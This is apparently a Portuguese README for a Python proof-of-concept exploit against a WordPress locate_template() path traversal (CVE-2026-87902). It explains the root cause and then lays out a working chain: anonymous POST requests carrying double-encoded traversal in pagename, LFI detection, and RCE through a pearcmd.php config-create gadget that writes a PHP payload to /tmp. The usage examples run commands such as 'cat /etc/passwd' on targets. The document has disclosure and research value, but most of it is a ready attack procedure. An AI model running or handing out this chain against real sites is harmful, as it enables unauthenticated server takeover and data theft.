
Python PoC exploiting CVE-2026-87902, an unauthenticated path traversal in WordPress locate_template() leading to LFI and PEAR-based RCE, with safe detection mode.
Arquivo do exploit: exploit_locate_template_rce.py —
Python 3.6+ (stdlib only).
Pipeline em um único comando: detecção segura (diferencial de LFI, sem escrita) →,
se vulnerável, RCE via gadget pearcmd.php executando o comando da sua escolha
(--command/-c). Use --validate-only para parar antes do estágio de escrita.
Testa o CVE-2026-87902 em versões do WordPress
sem o fix do commit 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, backports até 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Afetadas | WordPress 4.7.0 – 7.1.1 (todas as branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (merge do changeset 63792) |
| Arquivos | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Autenticação | Nenhuma — nenhum usuário, cookie, nonce ou plugin |
| Créditos | Descoberta e disclosure: Robert Ressl |
⚠️ Somente para teste autorizado. Use em ambientes que você controla (o lab abaixo é isolado) ou com autorização explícita do proprietário.
Em versões sem o fix, o encadeamento get_page_template() → locate_template() →
template-loader nunca garante que o template selecionado permanece dentro do tema.
Pré-fix (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Pós-fix (commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename e page_id são query vars públicas — aceitas no body de um POST anônimo.
O método POST faz redirect_canonical() (canonical.php) retornar cedo — ele só age
em GET/HEAD, então nada é redirecionado.templates%252f%252e%252e%252f...) e sobrevive ao
sanitize: WP_Query::get_posts() (l.2191) reescreve o pagename com
sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() não quebra em %2F
(formatting.php l.5768) e o sanitize preserva octetos %XX (l.2395).page_id (l.2252) sobrescreve o WHERE ("$where =", não ".=") — a página real
é carregada, sem 404, e o pagename malicioso permanece no objeto de query.get_page_template() faz urldecode() tardio e monta page-<traversal>.php
sem validate_file().locate_template() pré-patch só chama file_exists() → o include escapa do tema.| # | Precondição | Motivo |
|---|---|---|
| 1 | Página publicada, acessível anonimamente, selecionável por page_id e sem custom template | A requisição precisa resolver para uma Page; template custom viria antes na hierarquia |
| 2 | Diretório top-level no tema ativo (child ou parent) iniciando com page- (ex.: page-templates/) | O WP antepõe o prefixo fixo page-; é por ele que o traversal entra. Basta existir e ser traversável (pode ser vazio). Presente em Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Alvo .php local existente e legível | O loader apende .php e checa is_file()/is_readable() |
| 4 | (só p/ RCE) pearcmd.php legível + register_argc_argv=On + diretório gravável (ex.: /tmp) | Rota PEAR→RCE: config-create grava o payload PHP no servidor |
Três POSTs anônimos contra a página publicada — sem escrita em disco:
| Requisição | pagename | Resposta esperada (vulnerável) |
|---|---|---|
| A — baseline | — | 200, corpo normal (~23 KB) |
| B — controle | traversal → arquivo inexistente | 200, corpo normal (fallback page.php) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 com corpo vazio |
Assinatura: C vazio + A/B normais ⇒ o include escapou do tema ⇒ VULNERÁVEL.
A detecção varre automaticamente: diretórios de tema candidatos
(page-templates, page-template) × profundidades 1–12.
O resultado (theme-dir + depth) alimenta o estágio RCE.
Com --validate-only o script para aqui (exit 0 se vulnerável).
pearcmd.php (escrita)Estágio 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ o traversal inclui /usr/local/lib/php/pearcmd.php
→ argv vem da query string crua (register_argc_argv=On)
→ config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)
Estágio 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data
Detalhes do formato (todas as restrições são tratadas pelo script):
page_id + pagename; a query string carrega
exclusivamente o argv do PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php l.1290) aplica
add_magic_quotes($_SERVER) e o pearcmd lê o argv de $_SERVER['argv'] — qualquer
aspa viraria \' e quebraria o arquivo gerado. Todo string PHP vira concatenação
chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): os bytes crus +, <, > da query
string são o argv — nada pode ser re-escrito/re-codificado no caminho.config-create exige root path absoluto — o payload é injetado como o próprio
root (/<php>), prefixado com o marcador ___WP_RCE_OK___ que delimita a saída.pearcmd.php (Docker oficial, Debian/Ubuntu, XAMPP) — ajuste com
--pear-path/--output se necessário.Não há "upload": o alvo da detecção é um arquivo que todo WordPress traz de fábrica
(wp-content/index.php); o payload do RCE é gravado pelo próprio servidor via
gadget PEAR, rodando como www-data.
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose